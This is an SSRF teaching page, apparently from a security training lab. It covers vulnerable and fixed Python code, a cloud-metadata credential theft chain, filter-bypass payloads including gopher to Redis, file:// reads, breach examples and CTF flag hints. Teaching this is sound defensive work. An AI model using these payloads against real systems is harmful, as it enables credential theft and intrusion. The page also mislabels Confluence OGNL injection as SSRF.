Server-Side Request Forgery (SSRF)
Theory
SSRF is new to the OWASP Top 10 in 2021 (entering at #10) after being nominated directly by the security community. SSRF occurs whenever a web application makes an HTTP request to a URL that was supplied or influenced by the attacker, without validating that the destination is allowed. The server sends the request from its own network context โ bypassing firewalls, reaching internal services, and carrying the server's IAM/cloud credentials.
Why SSRF is Dangerous
- Internal service access โ the server can reach services bound to
127.0.0.1or internal VPC addresses that are invisible from the internet (Redis, Elasticsearch, Kubernetes API, Docker socket) - Cloud metadata endpoints โ
http://169.254.169.254/latest/meta-data/iam/security-credentials/returns the instance's IAM credentials on AWS; similar endpoints exist on Azure and GCP - File read via
file://โ if the HTTP library supportsfile://URIs, the attacker can read/etc/passwd, application source code, or private keys - Port scanning โ timing differences in responses allow the attacker to map open ports on the internal network
- Blind SSRF โ the server makes the request but does not return the response to the attacker; still useful for port scanning and triggering webhooks on internal services
Vulnerable Code
import httpx
# VULNERABLE โ URL entirely user-controlled; no validation
@app.get("/fetch")
async def fetch(url: str):
async with httpx.AsyncClient() as client:
resp = await client.get(url) # will reach 127.0.0.1, 169.254.169.254, file://, etc.
return HTMLResponse(resp.text)
SSRF Attack Chain โ Cloud Metadata to Full Account Compromise
# Step 1: Probe for AWS metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/
# Response: lists available metadata keys
# Step 2: Get IAM credential name
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: EC2InstanceRole
# Step 3: Get the actual credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole
# Response:
# {
# "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI...",
# "Token": "AQoDYXdzEJr..."
# }
# Step 4: Use credentials to access S3, enumerate resources, and exfiltrate data
AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI... aws s3 ls # now operating as the EC2 instance's IAM role
Bypass Techniques for Naive SSRF Filters
# Filter blocks "127.0.0.1" literally โ bypass with equivalent representations: http://2130706433/ # 127.0.0.1 as decimal integer http://0x7f000001/ # 127.0.0.1 as hexadecimal http://127.0.0.1.nip.io/ # DNS rebinding via wildcard DNS http://[::1]/ # IPv6 loopback http://localhost/ # hostname resolves to 127.0.0.1 # Filter blocks 169.254.x.x โ bypass: http://169.254.169.254.xip.io/ # via public DNS http://[fd00::1]/ # link-local IPv6 # Protocol bypass: dict://127.0.0.1:6379/ # Redis via DICT protocol gopher://127.0.0.1:6379/_*1... # Redis commands via Gopher (RCE if Redis has no auth)
Fixed Code โ Allowlist-Based SSRF Prevention
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # cloud metadata
ipaddress.ip_network("::1/128"),
]
def validate_url(url: str) -> str:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("Only http/https allowed")
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host not in allowlist")
# Resolve DNS and check the resulting IP
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
for blocked in BLOCKED_RANGES:
if ip in blocked:
raise ValueError("Destination IP is in a blocked range")
return url
@app.get("/fetch")
async def fetch_safe(url: str):
try:
safe_url = validate_url(url)
except ValueError as e:
raise HTTPException(400, str(e))
async with httpx.AsyncClient() as client:
resp = await client.get(safe_url)
return HTMLResponse(resp.text)
Real-World Breaches
- Capital One (2019) โ A WAF EC2 instance had an SSRF vulnerability combined with an overly permissive IAM role. The attacker used SSRF to hit the metadata endpoint, retrieved credentials, and exfiltrated 100 million customer records from S3. $80M fine.
- GitLab (2021) โ CVE-2021-22214: SSRF in the CI pipeline's "import project from URL" feature allowed reading files from the server and scanning internal services
- MS Exchange ProxyShell (2021) โ Chain of vulnerabilities including SSRF allowed pre-auth RCE, leading to mass exploitation by ransomware groups
- Confluence (2022) โ CVE-2022-26134: OGNL injection (a form of SSRF/RCE) exploited within hours of public disclosure; used by state actors and ransomware groups
How to Fix โ Checklist
- Allowlist, not blocklist โ only permit requests to a known set of external hostnames. Blocklists are always bypassable
- Resolve DNS then check IPs โ validate the resolved IP address, not just the hostname string, to prevent DNS rebinding
- Block all RFC 1918 + link-local ranges โ
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16 - Restrict URL schemes โ only allow
http://andhttps://; blockfile://,gopher://,dict://,ftp:// - Use a dedicated egress proxy โ route all outbound application HTTP through a proxy with its own allowlist and logging
- IMDSv2 on AWS โ require token-based metadata access so a single-request SSRF cannot read credentials
Challenge 1
SSRF โ Fetch Internal Flag Endpoint
The URL fetcher accepts any URL and makes a server-side request. Fetch an internal endpoint only accessible from localhost to retrieve the flag.
Hint
Try URL:
http://127.0.0.1:8000/web/internal/a10-flag
Challenge 2
SSRF โ Read Local Files via file:// scheme
The same fetcher also accepts file:// URLs, allowing you to read files from the container's filesystem.
Hint
Try URL:
file:///app/ssrf_flag.txt